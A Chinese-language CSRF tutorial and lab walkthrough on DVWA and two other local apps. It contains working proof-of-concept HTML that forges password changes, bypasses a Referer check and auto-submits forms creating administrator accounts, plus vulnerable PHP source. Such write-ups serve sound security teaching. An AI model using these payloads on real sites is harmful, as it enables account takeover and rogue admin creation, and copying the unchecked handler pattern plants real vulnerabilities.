# CSRF 原理及体验

CSRF 的全称是 Cross-site request forgery ,即跨站请求伪造。
定义为:攻击者在一定的攻击条件下,利用被攻向服务器发起请求,服务器可以正常解析并返回正确结果。

image-20221021000820032

被攻击者在【网站 A】处于登陆状态
必需要在【网站 A】同浏览器中打开黑客提供的链接
后台身份验证不严格(例如除 cookie 外无其他验证)

那么, CSRF 能做什么事情呢?

  • 发邮件
  • 发消息
  • 财产操作比如转账,或者购买商品
  • 修改密码
  • 删除文章

# CSRF 防御

image-20221021001447634

# CSRF 初体验

我们使用 Low 安全等级

image-20221021004134735

在重置密码这里输入 123456123456

照常理,理应在后台存储新密码成功后,我们下次登录是使用 123456 来登录

在此时我们新起一个虚拟主机,将此段代码弄成一个 html

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<head>
<meta charset="UTF-8">
<title>CSRF</title>
<script>
function abc(){
var im = new Image();
im.src = "http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=1234567&password_conf=1234567&Change=Change#";
}
</script>
</head>
<body>
<img src="timg.jpeg" width="100%" height="100%" onclick="abc()">
</body>
</html>

可以看到这段代码的原理是:

timg.jpeg 这张铺满整个屏幕的图片上,设置了一个 onclick 事件,当点击时会调用 abc() 函数。

abc 函数主要是利用点击图片时利用 html 解析图片的 src 过程而发起了一个请求

"http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=1234567&password_conf=1234567&Change=Change#"

image-20221021004955949

使得刚刚用户修改的密码,变成了新的 1234567

因此,我们如果使用 123456 登录,势必会登录失败

image-20221021004042743

当我们使用 1234567 来登录时,是成功的,这样一来就完成了 CSRF 跨站伪造攻击。

我们查看源码:

<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

可以看到,整个代码都是在对 MYSQL 进行修改操作,在密码的获取上没有做任何的来源验证

因此黑客可以使用同一个浏览器伪造请求来完成 CSRF 攻击

# CSRF Referer 校验绕过

题目是 DVWA-MediumCSRF

我们直接来看一下源码是怎么增加保护的:

image-20221021010151443

想法挺好,但是依旧不够安全。

绕过思路:只要 Referer 里构造好黑客的 1234567 新密码请求后,添加上源服务器名就好了。

我们首先尝试一下抓取点击图片触发的请求:

image-20221021010600349

这里的 Referer 会被后台的条件过滤掉,没法通过,原因在于整个字符串中没有源服务器名

注意:这里假设源服务器已经使用了另外的域名

那么我们可以把黑客的 html 命名为源服务器名,这样就可以过条件

Referer: http://127.0.0.1/threezh1/csrf/127.0.0.1.html

image-20221021010912169

Password Changed! 可以使用 1234567 登录

附上代码:

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<head>
<meta charset="UTF-8">
<title>CSRF</title>
<script>
function abc(){
var im = new Image();
im.src = "http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=1234567&password_conf=1234567&Change=Change#";
}
</script>
</head>
<body>
<img src="timg.jpeg" width="100%" height="100%" onclick="abc()">
</body>
</html>

# CSRF POST 请求绕过

请求抓包

image-20221021022012970

发现 do 参数的值是 add_confirm

image-20221021020531959

我们查看一下源码

image-20221021020803462

发现只是 SQL 语句的执行并提取相应的字段进行插入

并未对 CSRF 的漏洞点做校验,因此可以攻击。

当我们成功在一个浏览器中访问后

image-20221021015609544

我们使用如下代码生成的 html 页面进行绕过:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF</title>
<script>
function abc(){
var f=document.getElementById("test");
f.submit();
}
</script>
</head>
<body onload="abc()">
<form action="http://127.0.0.1/igaming/admin/users.php?do=add_confirm" id="test" method="POST">
<input type="text" name="pseudo" value="hack">
<input type="text" name="email" value="hack@gmail.com">
<input type="text" name="fname" value="hack'">
<input type="text" name="lname" value="hack">
<input type="text" name="password" value="123456">
</form>
</body>

原理是:

使用 onload 事件当页面访问时就进行 form 表单提交

其中 form 表单的 action 就是直接发起一个请求,请求的内容使用 BP 抓包获取值进行自定义修改成 input 标签使用

image-20221021020354290

另一个题目的解法,也是一样的原理

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<head>
<meta charset="UTF-8">
<title>CSRF</title>
<script>
function abc(){
var f=document.getElementById("test");
f.submit();
}
</script>
</head>
<body onload="abc()">
<form action="http://127.0.0.1/espcms/adminsoft/index.php?archive=management&action=managesava" method="POST" id="test">
<input type="hidden" name="inputclass" value="add" />
<input type="hidden" name="tab" value="true" />
<input type="hidden" name="username" value="zhong1" />
<input type="hidden" name="password" value="zhongzhong1" />
<input type="hidden" name="password2" value="zhongzhong1" />
<input type="hidden" name="name" value="zhong1" />
<input type="hidden" name="sex" value="1" />
<input type="hidden" name="powergroup" value="1" />
<input type="hidden" name="inputclassid" value="1" />
<input type="hidden" name="isremote" value="1" />
</form>
</body>
</html>